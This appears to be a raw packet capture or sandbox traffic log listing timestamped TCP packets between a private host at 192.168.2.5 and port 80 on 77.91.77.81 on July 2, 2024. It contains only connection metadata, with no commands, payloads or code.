Jul 2, 2024 04:13:06.132859945 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132878065 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132884979 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.132890940 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132903099 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132903099 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.132915020 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132919073 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.132937908 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.132961035 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.132977009 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132987976 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132998943 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.133011103 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.133013964 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.133025885 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.133025885 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.133038044 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.133049965 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.133052111 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.133074045 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.133089066 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.133099079 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.133111000 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.133121014 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.133131981 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.133136034 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.133143902 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.133153915 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.133163929 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.133177042 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.133181095 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.133187056 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.133197069 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.133199930 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.133210897 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.133222103 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.133224010 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.133246899 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.133259058 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.162602901 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.162614107 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.162623882 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.162635088 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.162648916 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.162668943 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.162681103 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.162698030 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.162700891 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.162713051 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.162723064 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.162734985 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.162754059 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.162755013 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.162766933 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.162776947 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.162781954 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.162802935 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.162807941 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.162820101 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.162826061 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.162857056 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.382771015 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.382795095 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.382807970 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.382818937 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.382821083 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.382838011 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.382847071 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.382849932 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.382860899 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.382873058 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.382879019 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.382884979 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.382896900 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.382899046 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.382920027 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.382942915 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.382985115 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.382997036 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383028030 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383033991 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383034945 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383052111 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383069992 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383071899 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383080006 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383083105 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383100033 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383107901 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383111954 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383124113 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383131027 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383136034 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383141041 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383147955 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383160114 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383163929 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383171082 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383182049 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383193016 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383197069 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383212090 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383219957 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383234978 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383246899 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383254051 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383265972 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383272886 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383276939 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383282900 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383289099 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383300066 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383304119 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383312941 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383322954 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383326054 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383338928 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383349895 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383354902 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383362055 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383368969 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383373976 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383384943 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383394003 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383403063 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383415937 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383416891 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383426905 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383434057 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383445024 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383456945 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383456945 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383467913 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383482933 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383495092 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383522987 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383546114 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383557081 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383565903 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383578062 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383583069 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383599043 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383605003 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383611917 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383622885 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383634090 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383636951 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383650064 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383652925 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383661985 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383675098 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383681059 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383687019 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383698940 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383706093 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383709908 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383718967 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383722067 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383733988 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383744001 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383747101 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383757114 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383764982 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383769035 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383780956 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383794069 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383816004 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383920908 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383934021 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383944988 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383956909 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383963108 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.383965969 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383977890 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383989096 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.383994102 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384001017 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384011984 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384018898 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384021997 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384032965 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384037971 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384043932 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384057999 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384064913 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384076118 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384077072 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384088039 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384099960 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384099960 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384110928 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384123087 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384126902 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384135008 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384147882 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384149075 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384159088 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384167910 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384192944 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384208918 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384219885 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384229898 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384242058 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384251118 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384253979 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384263992 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384274006 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384275913 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384294033 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384301901 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384305954 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384315968 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384320974 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384329081 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384339094 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384347916 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384350061 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384362936 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384375095 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384376049 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384390116 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384396076 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384402037 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384413004 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384423018 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384426117 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384438038 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384445906 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384449959 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384462118 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384465933 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384489059 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384510040 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384654045 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384665966 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384675026 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384685993 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384696960 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384701967 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384710073 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384720087 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384721041 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384732962 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384736061 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384744883 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384761095 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384763956 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384777069 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384784937 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384788990 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384800911 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384800911 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384812117 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384825945 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384825945 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384836912 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384846926 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384854078 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384864092 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384874105 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384877920 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384886980 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384888887 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384902000 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384912968 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384913921 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384923935 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384937048 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384942055 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384953022 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384959936 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384964943 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384978056 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384979010 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.384989023 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.384999990 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385003090 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385011911 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385023117 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385025024 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385035038 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385047913 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385052919 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385063887 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385073900 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385076046 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385086060 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385087013 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385097027 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385107994 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385112047 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385119915 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385130882 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385138988 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385142088 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385152102 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385164022 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385164022 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385174990 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385183096 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385188103 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385199070 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385201931 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385210037 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385221004 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385222912 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385234118 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385241985 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385245085 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385255098 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385267019 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385270119 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385277987 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385291100 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385293961 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385301113 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385305882 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385307074 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385312080 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385318041 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385371923 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385415077 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385551929 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385564089 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385574102 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385586023 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385596037 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385596991 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385607958 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385612011 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.385620117 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.385632038 CEST	80	54802	77.91.77.81	192.168.2.5
